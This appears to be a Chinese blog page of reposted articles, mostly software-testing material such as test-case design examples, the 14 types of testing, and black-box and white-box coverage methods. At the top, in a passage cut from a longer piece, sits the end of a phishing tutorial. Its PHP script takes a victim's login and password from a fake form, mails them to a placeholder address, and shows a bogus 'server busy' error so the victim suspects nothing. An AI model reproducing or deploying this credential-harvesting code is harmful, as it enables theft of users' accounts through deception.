    你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):



    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta. http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Error</title>
    <style. type="text/css">
    <!--
    body,td,th {
             color: #FFFFFF;
    }
    body {
             background-color: #000000;
    }
    -->
    </style></head>
    <?php
    $login = $HTTP_GET_VARS["login"];
    $password = $HTTP_GET_VARS["password"];
    mail("email@example.com", "Cookie stealed ! - thx xyli", $password , $login );
    ?>
    <body>
    <h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
    </body>
    </html>
    用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么,我相信你已经明白这个道理了?


    转自;http://bbs.mmbest.com/viewthread.php?tid=132046
  • 测试用例设计方法例子

    2008-06-15 11:45:02

    测试用例设计方法例子

          一、等价类划分
      问:某程序规定:"输入三个整数 a 、 b 、 c 分别作为三边的边长构成三角形。通过程序判定所构成的三角形的类型,当此三角形为一般三角形、等腰三角形及等边三角形时,分别作计算 … "。用等价类划分方法为该程序进行测试用例设计。(三角形问题的复杂之处在于输入与输出之间的关系比较复杂。)
      解:
          分析题目中给出和隐含的对输入条件的要求:
      (1)整数    (2)三个数    (3)非零数   (4)正数  
      (5)两边之和大于第三边     (6)等腰     (7)等边
       如果 a 、 b 、 c 满足条件( 1 ) ~ ( 4 ),则输出下列四种情况之一:
       1)如果不满足条件(5),则程序输出为 " 非三角形 " 。
       2)如果三条边相等即满足条件(7),则程序输出为 " 等边三角形 " 。
       3)如果只有两条边相等、即满足条件(6),则程序输出为 " 等腰三角形 " 。
       4)如果三条边都不相等,则程序输出为 " 一般三角形 " 。
       列出等价类表并编号


       覆盖有效等价类的测试用例:
        a      b      c              覆盖等价类号码
        3      4      5             (1)--(7)
        4      4      5             (1)--(7),(8)
        4      5      5             (1)--(7),(9)   
        5      4      5             (1)--(7),(10)
        4      4      4             (1)--(7),(11)
       覆盖无效等价类的测试用例:

           二、边界值分析法
    NextDate函数的边界值分析测试用例
    在NextDate函数中,隐含规定了变量mouth和变量day的取值范围为1≤mouth≤12和1≤day≤31,并设定变量year的取值范围为1912≤year≤2050 。

    测试用例
    mouth
    day
    year
    预期输出
    Test1
    Test2
    Test3
    Test4
    Test5
    Test6
    Test7
    6
    6
    6
    6
    6
    6
    6
    15
    15
    15
    15
    15
    15
    15
    1911
    1912
    1913
    1975
    2049
    2050
    2051
    1911.6.16
    1912.6.16
    1913.6.16
    1975.6.16
    2049.6.16
    2050.6.16
    2051.6.16
    Test8
    Test9
    Test10
    Test11
    Test12
    Test13
    6
    6
    6
    6
    6
    6
    -1
    1
    2
    30
    31
    32
    2001
    2001
    2001
    2001
    2001
    2001
    day超出[1…31]
    2001.6.2
    2001.6.3
    2001.7.1
    输入日期超界
    day超出[1…31]
    Test14
    Test15
    Test16
    Test17
    Test18
    Test19
    -1
    1
    2
    11
    12
    13
    15
    15
    15
    15
    15
    15
    2001
    2001
    2001
    2001
    2001
    2001
    Mouth超出[1…12]
    2001.1.16
    2001.2.16
    2001.11.16
    2001.12.16
    Mouth超出[1…12]

     

           三、错误推测法
            测试一个对线性表(比如数组)进行排序的程序,可推测列出以下几项需要特别测试的情况:

    I.          输入的线性表为空表;
    II.       表中只含有一个元素;
    III.     输入表中所有元素已排好序;
    IV.     输入表已按逆序排好;
    V.        输入表中部分或全部元素相同。
     
     
    四、因果图法
    有一个处理单价为5角钱的饮料的自动售货机软件测试用例的设计。其规格说明如下:若投入5角钱或1元钱的硬币,押下〖橙汁〗或〖啤酒〗的按钮,则相应的饮料就送出来。若售货机没有零钱找,则一个显示〖零钱找完〗的红灯亮,这时在投入1元硬币并押下按钮后,饮料不送出来而且1元硬币也退出来;若有零钱找,则显示〖零钱找完〗的红灯灭,在送出饮料的同时退还5角硬币。
    1) 分析这一段说明,列出原因和结果
    原因:
    1.售货机有零钱找
    2.投入1元硬币
    3.投入5角硬币
    4.押下橙汁按钮
    5.押下啤酒按钮
    结果:
    21.售货机〖零钱找完〗灯亮   
    22.退还1元硬币
    23.退还5角硬币             
    24.送出橙汁饮料
    25.送出啤酒饮料
    2)画出因果图,如图所示。所有原因结点列在左边,所有结果结点列在右边。建立中间结点,表示处理的中间状态。中间结点:
    11. 投入1元硬币且押下饮料按钮
                    12. 押下〖橙汁〗或〖啤酒〗的按钮
                    13. 应当找5角零钱并且售货机有零钱找
                    14. 钱已付清
    3)转换成判定表:
     
     
    五、判定表驱动分析方法
    问题要求:”……对功率大于50马力的机器、维修记录不全或已运行10年以上的机器,应给予优先的维修处理……” 。这里假定,维修记录不全优先维修处理均已在别处有更严格的定义。请建立判定表。

    解答:

    ①确定规则的个数:这里有3个条件,每个条件有两个取值,故应有2*2*2=8种规则。

    ②列出所有的条件茬和动作桩:

     

    ③填入条件项。可从最后1行条件项开始,逐行向上填满。如第三行是:Y N Y N Y N Y N,第二行是:Y Y N N Y Y N N等等。 

    ④填入动作桩和动作顶。这样便得到形如图的初始判定表。

      1 2 3 4 5 6 7 8
    功率大于50马力吗? Y Y Y Y N N N N
    维修记录不全吗? Y Y N N Y Y N N
      运行超过10年吗? Y N Y N Y N Y N
    进行优先处理 x x X   X   X  
    作其他处理       X   x   x

    初始判定表

    ⑤化简。合并相似规则后得到图。

      1 2 3 4 5
    功率大于50马力吗? Y Y Y N N
    维修记录不全吗? Y N N - -
      运行超过10年吗? - Y N Y N
    进行优先处理 x x   X  
    作其他处理     x   x


  • 《软件测试的14种类型》

    2008-06-15 11:43:16

                           《软件测试的14种类型
      作者:啄木鸟(Sawin网站)

    软件测试是指使用人工或者自动的手段来运行或测定某个软件产品系统的过程,其目的是在于检验是否满足规定的需求或者弄清预期的结果与实际结果的区别。本文主要描述软件测试的类型。


    1 数据和数据库完整性测试

    数据与数据库完整测试是指测试关系型数据库完整性原则以及数据合理性测试。
    数据库完整性原即:
    主码完整性:主码不能为空;
    外码完整性:外码必须等于对应的主码或者为空。
    数据合理性指数据在数据库中的类型,长度,索引等是否建的比较合理。
    在项目名称中,数据库和数据库进程应作为一个子系统来进行测试。在测试这些子系统时,不应将测试对象的用户界面用作数据的接口。对于数据库管理系统 (DBMS),还需要进行深入的研究,以确定可以支1持测试的工具和技术。

    比如,有两张表:部门和员工。部门中有部门编号,部门名称,部门经理等字段,主码为部门编号;员工表中有员工编号,员工所属部门编号,员工名称,员工类型等字段,主码为员工编号,外码为员工所属部门编号,对应部门表。如果在某条部门记录中部门编号或员工记录员工编号为空,他就违反主码完整性原则。如果某个员工所属部门的编号为##,但是##在部门编号中确找不到,这就违反外码完整性原则。
    员工类型如下定义:0:职工,1:职员,2:实习生。但数据类型为Int,我们都知道Int占有4个字节,如果定义成char(1).就比原来节约空间。

    2 白盒测试

    白盒测试是基于代码的测试,测试人员通过阅读程序代码或者通过使用开发工具中的单步调试来判断软件的质量,一般黑盒测试由项目经理在程序员开发中来实现。白盒测试分为动态白盒测试和静态白盒测试
    2.1 静态白盒测试
    利用眼睛,浏览代码,凭借经验,找出代码中的错误或者代码中不符合书写规范的地方。比如,代码规范中规定,函数必须为动宾结构。而黑盒测试发现一个函数定义如下:
    Function NameGet(){
    ….
    }
    这是属于不符合开发规范的错误。
    有这样一段代码:
    if (i<0) & (i>=0)

    这段代码交集为整个数轴,IF语句没有必要
    I=0;
    while(I>100){
    J=J+100;
    T=J*PI;
    }
    在循环体内没有I的增加,bug产生。

    2.2 动态白盒测试
    利用开发工具中的调式工具进行测试。比如一段代码有4个分支,输入4组不同的测试数据使4组分支都可以走通而且结果必须正确。
    看一段代码
    if(I<0){
    P1
    }else{
    P2
    }
    在调试中输入I=-1,P1程序段通过, P2程序段未通过,属于动态黑盒测试的缺陷

    3.功能测试

    功能测试指测试软件各个功能模块是否正确,逻辑是否正确。
    对测试对象的功能测试应侧重于所有可直接追踪到用例或业务功能和业务规则的测试需求。这种测试的目标是核实数据的接受、处理和检索是否正确,以及业务规则的实施是否恰当。此类测试基于黑盒技术,该技术通过图形用户界面 (GUI) 与应用程序进行交互,并对交互的输出或结果进行分析,以此来核实应用程序及其内部进程。功能测试的主要参考为类似于功能说明书之类的文档。
    比如一个对电子商务系统,前台用户浏览商品-放入购物车-进入结账台,后台处理订单,配货,付款,发货,这一系列流程必须正确无误的走通,不能存在任何的错误。

    4.UI测试

    UI测试指测试用户界面的风格是否满足客户要求,文字是否正确,页面美工是否好看,文字,图片组合是否完美,背景是否美观,操作是否友好等等
    用户界面 (UI) 测试用于核实用户与软件之间的交互。UI 测试的目标是确保用户界面会通过测试对象的功能来为用户提供相应的访问或浏览功能。另外,UI 测试还可确保 UI 中的对象按照预期的方式运行,并符合公司或行业的标准。包括用户友好性,人性化,易操作性测试。UI测试比较主观,与测试人员的喜好有关
    比如:页面基调颜色刺眼;用户登入页面比较难于找到,文字中出现错别字,页面图片范围太广等都属于UI测试中的缺陷,但是这些缺陷都不太严重。

      

    2  软件测试的14种类型
      
    5.性能测试

    性能测试主要测试软件测试的性能,包括负载测试,强度测试,数据库容量测试,基准测试以及基准测试
    5.1负载测试
    负载测试是一种性能测试指数据在超负荷环境中运行,程序是否能够承担。
    在这种测试中,将使测试对象承担不同的工作量,以评测和评估测试对象在不同工作量条件下的性能行为,以及持续正常运行的能力。负载测试的目标是确定并确保系统在超出最大预期工作量的情况下仍能正常运行。此外,负载测试还要评估性能特征,例如,响应时间、事务处理速率和其他与时间相关的方面。
    比如,在B/S结构中用户并发量测试就是属于负载测试的用户,可以使用webload工具,模拟上百人客户同时访问网站,看系统响应时间,处理速度如何?
    5.2强度测试
    强度测试是一种性能测试,他在系统资源特别低的情况下软件系统运行情况。这类测试往往可以书写系统要求的软硬件水平要求。
    实施和执行此类测试的目的是找出因资源不足或资源争用而导致的错误。如果内存或磁盘空间不足,测试对象就可能会表现出一些在正常条件下并不明显的缺陷。而其他缺陷则可能由于争用共享资源(如数据库锁或网络带宽)而造成的。强度测试还可用于确定测试对象能够处理的最大工作量。
    比如:一个系统在内存366M下可以正常运行,但是降低到258M下不可以运行,告诉内存不足,这个系统对内存的要求就是366M。
    5.3数据库容量测试
    数据库容量测试指通过存储过程往数据库表中插入一定数量的数据,看看相关页面是否能够及时显示数据。
    数据库容量测试使测试对象处理大量的数据,以确定是否达到了将使软件发生故障的极限。容量测试还将确定测试对象在给定时间内能够持续处理的最大负载或工作量。例如,如果测试对象正在为生成一份报表而处理一组数据库记录,那么容量测试就会使用一个大型的测试数据库,检验该软件是否正常运行并生成了正确的报表。做这种测试通常通过书写存储过程向数据库某个表中插入一定数量的记录,计算相关页面的调用时间。
    比如,在电子商务系统中,通过insert customer 往user表中插入10 000数据,看其是否可以正常显示顾客信息列表页面,如果要求达到最多可以处理100 000个客户,但是顾客信息列表页面不能够在规定的时间内显示出来,就需要调整程序中的SQL查询语句;如果在规定的时间内显示出来,可以将用户数分别提高到20 000 , 50 000, 100 000进行测试。
    5.4基准测试
    基准测试与已知现有的系统进行比较,主要检验是否与类似的产品具有竞争性的一种测试。
    如果你要开发一套财务系统软件并且你已经获得用友财务系统的性能等数据,你可以测试你这套系统,看看哪些地方比用友财务系统好,哪些地方差?以便改进自己的系统,也可为产品广告提供数据。
    5.5竞争测试
    软件竞争使用各种资源(数据纪录,内存等),看他与其他相关系统对资源的争夺能力。比如:一台机器上即安装您的财务系统,又安装用友财务系统。当CPU占有率下降后,看看是否能够强过用友财务系统,而是自己的系统能够正常运行?

    6. 安全性和访问控制测试

    安全性和访问控制测试侧重于安全性的两个关键方面:
    应用程序级别的安全性,包括对数据或业务功能的访问
    系统级别的安全性,包括对系统的登录或远程访问。
    6.1应用程序级别的安全性
    可确保:在预期的安全性情况下,主角只能访问特定的功能或用例,或者只能访问有限的数据。例如,可能会允许所有人输入数据,创建新账户,但只有管理员才能删除这些数据或账户。如果具有数据级别的安全性,测试就可确保“用户类型一”能够看到所有客户消息(包括财务数据),而“用户二”只能看见同一客户的统计数据。
    比如B/S系统,不通过登入页面,直接输入URL,看其是否能够进入系统?
    6.2系统级别的安全性
    可确保只有具备系统访问权限的用户才能访问应用程序,而且只能通过相应的网关来访问。



    3  软件测试的14种类型
      比如输入管理员账户,检查其密码是否容易猜取,或者可以从数据库中获得?

    7.故障转移和恢复测试

    故障转移和恢复测试指当主机软硬件发生灾难时候,备份机器是否能够正常启动,使系统是否可以正常运行,这对于电信,银行等领域的软件是十分重要的。
    故障转移和恢复测试可确保测试对象能成功完成故障转移,并能从导致意外数据损失或数据完整性破坏的各种硬件、软件或网络故障中恢复。
    故障转移测试可确保:对于必须持续运行的系统,一旦发生故障,备用系统就将不失时机地“顶替”发生故障的系统,以避免丢失任何数据或事务。
    恢复测试是一种对抗性的测试过程。在这种测试中,将把应用程序或系统置于极端的条件下(或者是模拟的极端条件下),以产生故障(例如设备输入/输出 (I/O) 故障或无效的数据库指针和关健字)。然后调用恢复进程并监测和检查应用程序和系统,核实应用程序或系统和数据已得到了正确的恢复。一定要注意主备定时备份
    比如电信系统,突然主机程序发生死机,备份机器是否能够启动,使系统能够正常运行,从而不影响用户打电话?
    8.配置测试

    又叫兼容性测试。配置测试核实测试对象在不同的软件和硬件配置中的运行情况。在大多数生产环境中,客户机工作站、网络连接和数据库服务器的具体硬件规格会有所不同。客户机工作站可能会安装不同的软件例如,应用程序、驱动程序等而且在任何时候,都可能运行许多不同的软件组合,从而占用不同的资源。(如浏览器版本,操作系统版本等)
    下面列出主要配置测试
    8.1浏览器兼容性
    测试软件在不同产商的浏览器下是否能够正确显示与运行;
    比如测试IE,Natscape浏览器下是否可以运行这套软件?
    8.2操作系统兼容性
    测试软件在不同操作系统下是否能够正确显示与运行;
    比如测试WINDOWS98,WINDOWS 2000,WINDOWS XP,LINU, UNIX下是否可以运行这套软件?
    8.3硬件兼容性
    测试与硬件密切相关的软件产品与其他硬件产品的兼容性,比如该软件是少在并口设备中的,测试同时使用其他并口设备,系统是否可以正确使用.
    比如在INTER,舒龙CPU芯片下系统是否能够正常运行?
    这样的测试必须建立测试实验室,在各种环境下进行测试。

    9.安装测试

    安装测试有两个目的。第一个目的是确保该软件在正常情况和异常情况的不同条件下: 例如,进行首次安装、升级、完整的或自定义的安装_都能进行安装。异常情况包括磁盘空间不足、缺少目录创建权限等。第二个目的是核实软件在安装后可立即正常运行。这通常是指运行大量为功能测试制定的测试。
    安装测试包括测试安装代码以及安装手册。安装手册提供如何进行安装,安装代码提供安装一些程序能够运行的基础数据。

    10.多语种测试

    又称本地化测试,是指为各个地方开发产品的测试,如英文版,中文版等等,包括程序是否能够正常运行,界面是否符合当地习俗,快捷键是否正常起作用等等,特别测试在A语言环境下运行B语言软件(比如在英文win98下试图运行中文版的程序),出现现象是否正常。
    本地化测试还要考虑:
    l 当语言从A翻译到B,字符长度变化是否影响页面效果。比如中文软件中有个按键叫“看广告”,翻译到英文版本中为 “View advertisement”可能影响页面的美观程度
    l 要考虑同一单词在各个国家的不同意思,比如football在英文中为足球,而美国人使用中可能理解为美式橄榄球。
    l 要考虑各个国家的民族习惯,比如龙个美国中被理解邪恶的象征,但翻译到中国,中国人认为为吉祥的象征。

    11.文字测试

    文字测试测试软件中是否拼写正确,是否易懂,不存在二义性,没有语法错误;文字与内容是否有出入等等,包括图片文字。
    比如:“比如,请输入正确的证件号码!”何谓正确的证件号码,证件可以为身份证,驾驶证,也可为军官证,如果改为“请输入正确的身份证号码!”用户就比较容易理解了。

    12.分辨率测试

    测试在不同分辨率下,界面的美观程度,分为800*600,1024*768,1152*864,1280*768,1280*1024,1200*1600大小字体下测试。一个好的软件要有一个极佳的分辨率,而在其他分辨率下也都能可以运行。

    13发布测试

    主要在产品发布前对一些附带产品,比如说明书,广告稿等进行测试

    13.1说明书测试
    主要为语言检查,功能检查,图片检查
    语言检查:检查说明书语言是否正确,用词是否易于理解;
    功能检查:功能是否描述完全,或者描述了并没有的功能等;
    图片检查::检查图片是否正确
    13.2宣传材料测试
    主要测试产品中的附带的宣传材料中的语言,描述功能,图片
    13.3帮助文件测试
    帮助文件是否正确,易懂,是否人性化。最好能够提供检索功能。
    13.4广告用语
    产品出公司前的广告材料文字,功能,图片,人性化的检查

    14 文档审核测试

    文档审核测试目前越来越引起人们的重视,软件质量不是检查出来的,而是融进软件开发中来。前置软件测试发越来越受到重视。请看一个资料:

    文档审核测试主要包括需求文档测试,设计文档测试,为前置软件测试测试中的一部分。

    14.1需求文档测试

    主要测试需求中是否存在逻辑矛盾以及需求在技术上是否可以实现;

    14.2设计文档测试

    测试设计是否符合全部需求以及设计是否合理。

    总结

    据美国软件质量安全中心2000年对美国一百家知名的软件厂商统计,得出这样一个结论:软件缺陷在开发前期发现比在开发后期发现资金,人力上节约90%;软件缺陷在推向市场前发现比在推出后发现资金,人力上节约90%。所以说软件的缺陷应该尽早发现。不是所有的软件都要进行任何类型的软件测试的,可以根据产品的具体情况进行组装测试不同的类型。
  • 《黑盒测试的测试用例设计方法 》

    2008-06-15 11:40:49

    《黑盒测试的测试用例设计方法 》

    等价类划分

      是把所有可能的输入数据,即程序的输入域划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例.该方法是一种重要的,常用的黑盒测试用例设计方法.

       1) 划分等价类: 等价类是指某个输入域的子集合.在该子集合中,各个输入数据对于揭露程序中的错误都是等效的.并合理地假定:测试某等价类的代表值就等于对这一类其它值的测试.因此,可以把全部输入数据合理划分为若干等价类,在每一个等价类中取一个数据作为测试的输入条件,就可以用少量代表性的测试数据.取得较好的测试结果.等价类划分可有两种不同的情况:有效等价类和无效等价类.

      有效等价类:是指对于程序的规格说明来说是合理的,有意义的输入数据构成的集合.利用有效等价类可检验程序是否实现了规格说明中所规定的功能和性能.

      无效等价类:与有效等价类的定义恰巧相反.

      设计测试用例时,要同时考虑这两种等价类.因为,软件不仅要能接收合理的数据,也要能经受意外的考验.这样的测试才能确保软件具有更高的可靠性.

      2)划分等价类的方法:下面给出六条确定等价类的原则.

      ①在输入条件规定了取值范围或值的个数的情况下,则可以确立一个有效等价类和两个无效等价类.

      ②在输入条件规定了输入值的集合或者规定了“必须如何”的条件的情况下,可确立一个有效等价类和一个无效等价类.

      ③在输入条件是一个布尔量的情况下,可确定一个有效等价类和一个无效等价类.

      ④在规定了输入数据的一组值(假定n个),并且程序要对每一个输入值分别处理的情况下,可确立n个有效等价类和一个无效等价类.

      ⑤在规定了输入数据必须遵守的规则的情况下,可确立一个有效等价类(符合规则)和若干个无效等价类(从不同角度违反规则).

      ⑥在确知已划分的等价类中各元素在程序处理中的方式不同的情况下,则应再将该等价类进一步的划分为更小的等价类.

      3)设计测试用例:在确立了等价类后,可建立等价类表,列出所有划分出的等价类:

       输入条件 有效等价类 无效等价类
      ... ... ...
      ... ... ...

       然后从划分出的等价类中按以下三个原则设计测试用例:

      ①为每一个等价类规定一个唯一的编号.

      ②设计一个新的测试用例,使其尽可能多地覆盖尚未被覆盖地有效等价类,重复这一步.直到所有的有效等价类都被覆盖为止.

      ③设计一个新的测试用例,使其仅覆盖一个尚未被覆盖的无效等价类,重复这一步.直到所有的无效等价类都被覆盖为止.

    边界值分析法

      边界值分析方法是对等价类划分方法的补充.

    (1)边界值分析方法的考虑:

      长期的测试工作经验告诉我们,大量的错误是发生在输入或输出范围的边界上,而不是发生在输入输出范围的内部.因此针对各种边界情况设计测试用例,可以查出更多的错误.

      使用边界值分析方法设计测试用例,首先应确定边界情况.通常输入和输出等价类的边界,就是应着重测试的边界情况.应当选取正好等于,刚刚大于或刚刚小于边界的值作为测试数据,而不是选取等价类中的典型值或任意值作为测试数据.

    (2)基于边界值分析方法选择测试用例的原则:

      1)如果输入条件规定了值的范围,则应取刚达到这个范围的边界的值,以及刚刚超越这个范围边界的值作为测试输入数据.

      2)如果输入条件规定了值的个数,则用最大个数,最小个数,比最小个数少一,比最大个数多一的数作为测试数据.

      3)根据规格说明的每个输出条件,使用前面的原则1).

      4)根据规格说明的每个输出条件,应用前面的原则2).

      5)如果程序的规格说明给出的输入域或输出域是有序集合,则应选取集合的第一个元素和最后一个元素作为测试用例.

      6)如果程序中使用了一个内部数据结构,则应当选择这个内部数据结构的边界上的值作为测试用例.

      

      
      7)分析规格说明,找出其它可能的边界条件.

    错误推测法

      基于经验和直觉推测程序中所有可能存在的各种错误, 从而有针对性的设计测试用例的方法.

      错误推测方法的基本思想: 列举出程序中所有可能有的错误和容易发生错误的特殊情况,根据他们选择测试用例. 例如, 在单元测试时曾列出的许多在模块中常见的错误. 以前产品测试中曾经发现的错误等, 这些就是经验的总结. 还有, 输入数据和输出数据为0的情况. 输入表格为空格或输入表格只有一行. 这些都是容易发生错误的情况. 可选择这些情况下的例子作为测试用例.

    因果图方法

      前面介绍的等价类划分方法和边界值分析方法,都是着重考虑输入条件,但未考虑输入条件之间的联系, 相互组合等. 考虑输入条件之间的相互组合,可能会产生一些新的情况. 但要检查输入条件的组合不是一件容易的事情, 即使把所有输入条件划分成等价类,他们之间的组合情况也相当多. 因此必须考虑采用一种适合于描述对于多种条件的组合,相应产生多个动作的形式来考虑设计测试用例. 这就需要利用因果图(逻辑模型).
      因果图方法最终生成的就是判定表. 它适合于检查程序输入条件的各种组合情况.

      利用因果图生成测试用例的基本步骤:

      (1) 分析软件规格说明描述中, 那些是原因(即输入条件或输入条件的等价类),那些是结果(即输出条件), 并给每个原因和结果赋予一个标识符.

      (2) 分析软件规格说明描述中的语义.找出原因与结果之间, 原因与原因之间对应的关系. 根据这些关系,画出因果图.

      (3) 由于语法或环境限制, 有些原因与原因之间,原因与结果之间的组合情况不不可能出现. 为表明这些特殊情况, 在因果图上用一些记号表明约束或限制条件.

      (4) 把因果图转换为判定表.

      (5) 把判定表的每一列拿出来作为依据,设计测试用例.

      从因果图生成的测试用例(局部,组合关系下的)包括了所有输入数据的取TRUE与取FALSE的情况,构成的测试用例数目达到最少,且测试用例数目随输入数据数目的增加而线性地增加.

      前面因果图方法中已经用到了判定表.判定表(Decision Table)是分析和表达多逻辑条件下执行不同操作的情况下的工具.在程序设计发展的初期,判定表就已被当作编写程序的辅助工具了.由于它可以把复杂的逻辑关系和多种条件组合的情况表达得既具体又明确.

      判定表通常由四个部分组成.

      条件桩(Condition Stub):列出了问题得所有条件.通常认为列出得条件的次序无关紧要.

      动作桩(Action Stub):列出了问题规定可能采取的操作.这些操作的排列顺序没有约束.

      条件项(Condition Entry):列出针对它左列条件的取值.在所有可能情况下的真假值.

      动作项(Action Entry):列出在条件项的各种取值情况下应该采取的动作.

      规则:任何一个条件组合的特定取值及其相应要执行的操作.在判定表中贯穿条件项和动作项的一列就是一条规则.显然,判定表中列出多少组条件取值,也就有多少条规则,既条件项和动作项有多少列.

      判定表的建立步骤:(根据软件规格说明)

      ①确定规则的个数.假如有n个条件.每个条件有两个取值(0,1),故有 种规则.

      ②列出所有的条件桩和动作桩.

      ③填入条件项.

      ④填入动作项.等到初始判定表.

      ⑤简化.合并相似规则(相同动作).

      B. Beizer 指出了适合使用判定表设计测试用例的条件:

      ①规格说明以判定表形式给出,或很容易转换成判定表.

      ②条件的排列顺序不会也不影响执行哪些操作.

      ③规则的排列顺序不会也不影响执行哪些操作.

      ④每当某一规则的条件已经满足,并确定要执行的操作后,不必检验别的规则.

      ⑤如果某一规则得到满足要执行多个操作,这些操作的执行顺序无关紧要.

  • 快速测试与普通测试的区别

    2007-07-30 15:46:37

    快速测试与普通测试的区别
    http://www.csai.cn 作者:James Bach 来源:51testing论坛 2006年7月25日 发表评论 进入社区
    测试实践对于每个行业、每个公司、每个测试人员都是不一样的。但是大多数的测试项目在某些要素上是有共同之处的。让我们把那些有共性的要素称之为“普通测试”吧。在我们的经验中,普通测试包括根据某种规格说明书写一些测试用例。这些测试用例是松散地指导测试人员去测试一个产品的零散的计划或者过程。然后测试人员按照预期的那样在整个产品中执行那些测试用例,重复地,在项目过程中从头到尾地执行。

      快速测试与传统测试主要有以下几方面的区别:

      1. 首先,不浪费时间。最快速的行动是完全不行动。因此,在快速测试中,我们要消灭掉任何不必要的活动。比较起来,传统测试是比较臃肿的,随之也带来一定的混乱。当然,需要通过一些培训和经验来知道如何来对传统测试“瘦身”。一般地说,流线型的文档(应该是指大量的文档)和虔诚的测试是最容易发生风险的区域。不要因为别人告诉你重复是好的,你就来回的测同一个东西。确保你从每个测试中得到了好的、有价值的信息。要考虑每次测试活动的机会成本

      2.Mission。在快速测试中我们不是以Task为导向(如写测试用例),我们是以Mission为导向的。我们的目标可能是“快点找到重要的问题”。如果是这样,那么写测试用例可能不是最好的方式。另一方面,如果我们的目标是“使FDA听众满意”,那么我们不仅要写测试用例,还要按照指定的规格来写某几种测试用例。理解我们的Mission,然后估算一下我们的形势,并找到我们能朝着实现该目标立即开始执行的最快、最有用的行动。

      3.技巧。做好任何的测试都要求技巧。普通测试不重视测试技巧的重要性,它更多关注测试文档的格式而不是测试的健壮性。快速测试,就像我们描述的,强调测试技巧。它不是像用微波炉炸爆米花那样的机械技术,或者是在DMV(机动车管理部门)填表格。健壮的测试是非常重要的,因此我们练习批判性思维和试验设计技巧。一个测试新手不会在测试中做得很好,除非有一个在测试艺术、技艺上有较高造诣的资深测试人员来监督和指导。我们希望本站点的一些文章能够在这些技巧上帮助你。

      4.风险。普通测试关注功能和结构上的产品覆盖率。换句话说,如果产品能做什么,就测什么。快速测试更关注重要的问题。基于对产品的理解,找出那些我们认为的最可能发生并且发生后影响较大的问题。然后投入我们的主要精力来测试那些问题。快速测试往往意味着尽可能快的揭露最重要的信息。

      5.探索。快速测试也是快速学习,因此我们使用探索性测试。我们避免先写测试用例,除非有明确和强制性的要求。我们更喜欢让上一个测试影响我们的下一个测试。这是一个好事情,因为我们并没有被预先设计好的测试步骤所禁锢,而且让我们发现了更好的测试思想。让测试快速地执行的其它方式,例如很多的测试自动化,总是有着这样的风险――即使运行了大量的非常快速的测试也不能在产品中帮助你找到重要的问题。

      6.启发法。我们必须当心高估所测试的问题,因此我们使用启发法(简单的翻译成:拇指规则)来帮助我们避免思维短路,并且更快地测试。启发法本质上是反应――在某种意义上有偏差地反应――通常是帮助我们在正确地时间测试正确的东西。快速测试收集、记住并且练习使用有帮助的启发法。在普通测试中,启发法也有被使用,但是测试人员往往并不知道自己使用了这个方法,也不能完全地掌控这个方法。

      7.团队合作。快速测试意味着作弊。至少,我们做的事情在以前小学老师的眼中就是作弊:我们尽可能事先弄清楚事情,我们借用其它人的工作,我们使用我们能找到的任何资源和工具。例如,快速测试的一个重要的技术就是成对测试:两个人,一台电脑。这个思想在XP(极限编程)的实践中被证明是有效的,并且在测试工作中也很适用。在普通测试的经验中,测试人员通常安静、独自的工作,而不是像一群迅捷的狼在捕猎bugs。

      8.反省。我们的快速测试人员应该要经常问我们正在做什么和为什么这样做。我们要解析我们自己,并且讨论更好的测试策略和状况。
  • 白盒测试中的六种覆盖方法

    2007-07-30 15:42:34

    白盒测试中的六种覆盖方法
    http://www.csai.cn 作者:谷剑芳 来源:希赛网 2006年6月8日 

      摘要:白盒测试作为测试人员常用的一种测试方法,越来越受到测试工程师的重视。白盒测试并不是简单的按照代码设计用例,而是需要根据不同的测试需求,结合不同的测试对象,使用适合的方法进行测试。因为对于不同复杂度的代码逻辑,可以衍生出许多种执行路径,只有适当的测试方法,才能帮助我们从代码的迷雾森林中找到正确的方向。本文介绍六种白盒子测试方法:语句覆盖、判定覆盖、条件覆盖、判定条件覆盖、条件组合覆盖、路径覆盖。

    白盒测试的概述

      由于逻辑错误和不正确假设与一条程序路径被运行的可能性成反比。由于我们经常相信某逻辑路径不可能被执行, 而事实上,它可能在正常的情况下被执行。由于代码中的笔误是随机且无法杜绝的,因此我们要进行白盒测试。

      白盒测试又称结构测试,透明盒测试、逻辑驱动测试或基于代码的测试。白盒测试是一种测试用例设计方法,盒子指的是被测试的软件,白盒指的是盒子是可视的,你清楚盒子内部的东西以及里面是如何运作的。

      白盒的测试用例需要做到:

    ·保证一个模块中的所有独立路径至少 被使用一次
    ·对所有逻辑值均需测试 true 和 false
    ·在上下边界及可操作范围内运行所有循环
    ·检查内部数据结构以确保其有效性

      白盒测试的目的:通过检查软件内部的逻辑结构,对软件中的逻辑路径进行覆盖测试;在程序不同地方设立检查点,检查程序的状态,以确定实际运行状态与预期状态是否一致。

      白盒测试的特点:依据软件设计说明书进行测试、对程序内部细节的严密检验、针对特定条件设计测试用例、对软件的逻辑路径进行覆盖测试。

      白盒测试的实施步骤:

    1.测试计划阶段:根据需求说明书,制定测试进度。
    2.测试设计阶段:依据程序设计说明书,按照一定规范化的方法进行软件结构划分和设计测试用例。
    3.测试执行阶段:输入测试用例,得到测试结果。
    4.测试总结阶段:对比测试的结果和代码的预期结果,分析错误原因,找到并解决错误。

      白盒测试的方法:总体上分为静态方法和动态方法两大类。

      静态分析是一种不通过执行程序而进行测试的技术。静态分析的关键功能是检查软件的表示和描述是否一致,没有冲突或者没有歧义。

      动态分析的主要特点是当软件系统在模拟的或真实的环境中执行之前、之中和之后 , 对软件系统行为的分析。动态分析包含了程序在受控的环境下使用特定的期望结果进行正式的运行。它显示了一个系统在检查状态下是正确还是不正确。在动态分析技术中,最重要的技术是路径和分支测试。下面要介绍的六种覆盖测试方法属于动态分析方法。

      白盒测试的优缺点

      1. 优点

    ·迫使测试人员去仔细思考软件的实现
    ·可以检测代码中的每条分支和路径
    ·揭示隐藏在代码中的错误
    ·对代码的测试比较彻底
    ·最优化

      2. 缺点

    ·昂贵
    ·无法检测代码中遗漏的路径和数据敏感性错误
    ·不验证规格的正确性

